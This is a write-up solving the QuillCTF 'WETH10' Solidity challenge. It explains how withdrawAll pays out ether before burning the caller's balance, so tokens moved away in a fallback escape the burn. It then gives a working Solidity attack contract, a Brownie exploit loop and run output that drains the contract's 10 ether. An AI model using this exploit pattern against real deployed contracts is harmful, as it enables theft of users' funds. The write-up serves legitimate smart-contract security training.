WETH10 is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 solidity
file. WETH10.sol
. Contract is not deployed on any test network.
Objective of CTF is
The contract currently has 10 ethers. (Check the Foundry configuration.)
You are Bob (the White Hat). Your job is to rescue all the funds from the contract, starting with 1 ether, in only one transaction.
There is also one setup deployment script for this contract which is written in foundry.
Setup
contract Weth10Test is Test {
WETH10 public weth;
address owner;
address bob;
function setUp() public {
weth = new WETH10();
bob = makeAddr("bob");
vm.deal(address(weth), 10 ether);
vm.deal(address(bob), 1 ether);
}
function testHack() public {
assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether");
vm.startPrank(bob);
// hack time!
vm.stopPrank();
assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(bob.balance, 11 ether, "player should end with 11 ether");
}
}
Contract
pragma solidity ^0.8.0;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
// The Messi Wrapped Ether
contract WETH10 is ERC20("Messi Wrapped Ether", "WETH10"), ReentrancyGuard {
receive() external payable {
deposit();
}
function _burnAll() internal {
_burn(msg.sender, balanceOf(msg.sender));
}
function deposit() public payable nonReentrant {
_mint(msg.sender, msg.value);
}
function withdraw(uint256 wad) external nonReentrant {
Address.sendValue(payable(msg.sender), wad);
_burn(msg.sender, wad);
}
function withdrawAll() external nonReentrant {
Address.sendValue(payable(msg.sender), balanceOf(msg.sender));
_burnAll();
}
/// @notice Request a flash loan in ETH
function execute(address receiver, uint256 amount, bytes calldata data) external nonReentrant {
uint256 prevBalance = address(this).balance;
Address.functionCallWithValue(receiver, data, amount);
require(address(this).balance >= prevBalance, "flash loan not returned");
}
}
So the scenario is, we are bob and we have 1 eth, there is a contract named weth and it has 10 eth. We need to steal all of the contracts Ethereum and at the end we should have 11 Ethereum. That setup script can be written in python easily.
from brownie import *
from scripts.setup_general import console
def setup():
owner = accounts[0]
bob = accounts[1]
weth = WETH10.deploy({'from': owner})
#bob transfer all his money to owner, left 1 ether only
bob.transfer(owner, bob.balance() - web3.toWei('1', 'ether'))
assert bob.balance() == web3.toWei('1', 'ether')
owner.transfer(weth, web3.toWei('10', 'ether'))
assert weth.balance() == web3.toWei('10', 'ether')
If we take a look to the weth contract there is one function named execute
which is expecting receiver and data. So it means we can call any function we want as a weth contract because msg.sender
will be the address of weth
contract. That function is definitely vulnerable. We can just approve as much as erc20 token and increase our allowance as an attacker.
>>> weth.allowance(weth, bob)
0
>>> weth.approve.encode_input(bob, web3.toWei('10', 'ether'))
'0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000000000000000000000000000000008ac7230489e80000'
>>> weth.execute(weth, 0, 0x095ea7b300000000000000000000000033a4622b82d4c04a53e170c638b944ce27cffce30000000000000000000
000000000000000000000000000008ac7230489e80000, {'from': bob})
Transaction sent: 0x308b8136597c157329173608884867545c93d5793a1c96a1e9960f8b120cb5b7
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH10.execute confirmed Block: 9 Gas used: 49947 (0.42%)
<Transaction '0x308b8136597c157329173608884867545c93d5793a1c96a1e9960f8b120cb5b7'>
>>> weth.allowance(weth, bob)
10000000000000000000
It can be seen that we can increase our allowance and it means we can use/transfer any erc20 token weth has. However this is not useful for us because weth contract does not have any erc20 token.
>>> weth.balanceOf(weth)
0
And since all of the useful methods in the contract has a modifier named nonReentrant
it is also not possible to call any function with execute
function. So we need to find another way to exploit this contract. If we take a look to sendValue
function of library Address
we can see that it is calling our contract with .call
function which will call any contract's fallback
function.
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
And if we take a look to the _burn
function of erc20
we can see that it is possible to burn 0 amount of tokens.
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
There is only one control about the balance and its checking if account has more balance or equal to the given amount.
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
So it means it is possible to call burn
function like
_burn(some_account, 0)
It won't revert the transaction. So it means if we call withdrawAll
function, since it is calling first sendValue
and then tries to burn erc20 tokens with the amount of balanceOf(msg.sender)
, we can write an attack contract and on the fallback function we can transfer all of our tokens to some other account.
POC
- Create an attack contract with 1 ether balance
- Call deposit function on that attack contract, and weth contract will mint us 1 ether amount of erc20 token
- Call withdrawAll function, it will call our fallback function
- On fallback function, transfer all of our tokens to some other account
- Weth contract will call
burn
function withbalanceOf(attack)
and which will be0
so it won't revert - We will have our 1 eth back and also we will have 1 eth amount of erc20 token in some address.
- Do this in loop until weth has 0 eth
Solidity Attack Contract
pragma solidity ^0.8.0;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
interface IWETH10 {
function deposit() external payable;
function balanceOf(address account) external view returns (uint256);
function withdrawAll() external;
function transfer(address to, uint256 amount) external returns (bool);
}
contract Attack{
IWETH10 public iweth;
address public owner;
constructor(IWETH10 _iweth) payable{
iweth = IWETH10(_iweth);
owner = msg.sender;
}
function deposit() public {
iweth.deposit{value: address(this).balance}();
}
function attack() external payable{
iweth.withdrawAll();
}
fallback () external payable {
// transfer all tokens to owner
iweth.transfer(owner, iweth.balanceOf(address(this)));
}
function sendMoney() public{
(bool sent, bytes memory data) = payable(address(owner)).call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
Python Exploit Function
from brownie import *
from scripts.setup_general import console
def setup():
owner = accounts[0]
bob = accounts[1]
weth = WETH10.deploy({'from': owner})
#bob transfer all his money to owner, left 1 ether only
bob.transfer(owner, bob.balance() - web3.toWei('1', 'ether'))
assert bob.balance() == web3.toWei('1', 'ether')
owner.transfer(weth, web3.toWei('10', 'ether'))
assert weth.balance() == web3.toWei('10', 'ether')
def exploit():
owner = accounts[0]
bob = accounts[1]
attacker = accounts[2]
weth = WETH10[-1]
attack_contract = Attack.deploy(weth, {'from': bob, 'value': bob.balance()})
console.yellow("Starting stealing money in loop")
while weth.balance() != 0:
attack_contract.deposit({'from': bob})
attack_contract.attack({'from': bob})
transferLimit = weth.balanceOf(bob)
if transferLimit > weth.balance():
transferLimit = weth.balance()
weth.transfer(attack_contract, transferLimit)
attack_contract.sendMoney({'from': bob})
console.green("Final balance of weth: "+ str(weth.balance()))
console.green("Final balance of bob: "+ str(bob.balance()))
assert weth.balance() == 0
assert bob.balance() == web3.toWei('11', 'ether')
And the output is
- >>> run('poc', 'setup')
Running 'scripts\poc.py::setup'...
Transaction sent: 0x29f1a4124ac4e4010efe11c4879bcc937e5dc90c4fcc09ebc026b4e47c8875f2
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
WETH10.constructor confirmed Block: 1 Gas used: 1049691 (8.75%)
WETH10 deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87
Transaction sent: 0x2ecc00161a30e0a933864a89e750af7ba35f63efed11788f0ec963f9c33b24cf
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 0
Transaction confirmed Block: 2 Gas used: 21000 (0.18%)
Transaction sent: 0xe12234f034616f079d16c0af02f118cc2f63e2b010179ecfe2525089ad4b9c48
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
Transaction confirmed Block: 3 Gas used: 67226 (0.56%)
- >>> run('poc', 'exploit')
Running 'scripts\poc.py::exploit'...
Transaction sent: 0xbabb008a026748b8f129db6295ae1f497c1bf237a919ddc4e22c3c8199eec3f7
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
Attack.constructor confirmed Block: 4 Gas used: 298682 (2.49%)
Attack deployed at: 0xDA1C81E678CbafE8EF2cfa2eC9D8D7724bAA3DD2
+ Starting stealing money in loop
Transaction sent: 0x8f1202f0da18c8ed1fdf78452ac6a906eca23d5476e80736113b395752c1c638
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
Attack.deposit confirmed Block: 5 Gas used: 61710 (0.51%)
Transaction sent: 0x9d76c37e1c9ccf4304c6dc0bc9e75d6f14c09efad3508e772c4e295f8d9c0aa6
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
Attack.attack confirmed Block: 6 Gas used: 60110 (0.50%)
Transaction sent: 0x3cc94fa6670a1288d05c7e96eb43ac57998d809c564c0bafcb39051c92a1b8ee
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
WETH10.transfer confirmed Block: 7 Gas used: 50904 (0.42%)
Transaction sent: 0x17d775acdec09ce4ce541bfeab8825b9989b46551252b3920ff50038a083259b
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4
Attack.deposit confirmed Block: 8 Gas used: 46710 (0.39%)
Transaction sent: 0xecef4249ab389e2a08925008ade26ef95101d56dc98994c2a9d304283d92c346
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5
Attack.attack confirmed Block: 9 Gas used: 45110 (0.38%)
Transaction sent: 0x96d0b0f2d7af432ed77c57c1b3eb1cf91f1ca3025e4b02e9b2090dc97005d8b1
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
WETH10.transfer confirmed Block: 10 Gas used: 50904 (0.42%)
Transaction sent: 0x7f12308dab6398490dd142e3c934a916f9982c8ba1c2508c9abf34576a5abd25
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 6
Attack.deposit confirmed Block: 11 Gas used: 46710 (0.39%)
Transaction sent: 0x9e7b661e9afc88ffa0e15f49496313e9eef098ecf8884c3a3a9bb5aecc6e444c
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 7
Attack.attack confirmed Block: 12 Gas used: 45110 (0.38%)
Transaction sent: 0xaa8790db0c00afda61d309d38df1c219d14e71558e512851c10b64e8edf15658
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 4
WETH10.transfer confirmed Block: 13 Gas used: 35904 (0.30%)
Transaction sent: 0x8b28c2337bf3a5b31eab5228126bc129c612d91c7c9e40055ad5147352f2c20f
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 8
Attack.deposit confirmed Block: 14 Gas used: 46710 (0.39%)
Transaction sent: 0x99d34df9f39c00e82c88163a09707dbd81f8fbfbbd48ecf7d7732ac588ee85a0
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9
Attack.attack confirmed Block: 15 Gas used: 45110 (0.38%)
Transaction sent: 0x225dc272146189e541df0f072576a336022d8807644460aac9108694f14a20cc
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 5
WETH10.transfer confirmed Block: 16 Gas used: 27432 (0.23%)
Transaction sent: 0x3409d57c3a1bba8719617f0f1cecc86591afc8e5736b05aa17ebfda6bf073544
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10
Attack.sendMoney confirmed Block: 17 Gas used: 29607 (0.25%)
+ Final balance of weth: 0
+ Final balance of bob: 11000000000000000000